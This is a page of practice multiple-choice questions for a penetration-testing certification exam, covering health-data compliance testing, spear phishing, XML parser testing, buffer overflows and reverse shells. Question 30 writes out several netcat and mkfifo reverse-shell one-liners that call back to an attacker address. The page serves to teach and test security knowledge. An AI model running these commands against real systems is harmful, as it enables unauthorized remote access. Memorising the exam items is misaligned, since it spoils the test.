PT0-001

PT0-001 practice questions, page 6 of 8, with answer review and explanations.

Question 26

A healthcare organization must abide by local regulations to protect and attest to the protection of personal health information of covered individuals. Which of the following conditions should a penetration tester specifically test for when performing an assessment? (Select TWO).

  1. Cleartext exposure of SNMP trap data
  2. Software bugs resident in the IT ticketing system
  3. S/MIME certificate templates defined by the CA
  4. Health information communicated over HTTP
  5. DAR encryption on records servers

Question 27

Which of the following is an example of a spear phishing attack?

  1. Targeting an executive with an SMS attack
  2. Targeting a specific team with an email attack
  3. Targeting random users with a USB key drop
  4. Targeting an organization with a watering hole attack

Question 28

A security assessor is attempting to craft specialized XML files to test the security of the parsing functions during ingest into a Windows application. Before beginning to test the application, which of the following should the assessor request from the organization?

  1. Sample SOAP messages
  2. The REST API documentation
  3. A protocol fuzzing utility
  4. An applicable XSD file

Question 29

Which of the following CPU registers does the penetration tester need to overwrite in order to exploit a simple buffer overflow?

  1. Stack pointer register
  2. Index pointer register
  3. Stack base pointer
  4. Destination index register

Question 30

During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO).

  1. nc 192.168.1.5 44444
  2. nc -nlvp 44444 -e /bin/sh
  3. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/tmp/f
  4. nc -e /bin/sh 192.168.1.5 44444
  5. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 444444>/tmp/f
  6. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.5.1 44444>/tmp/f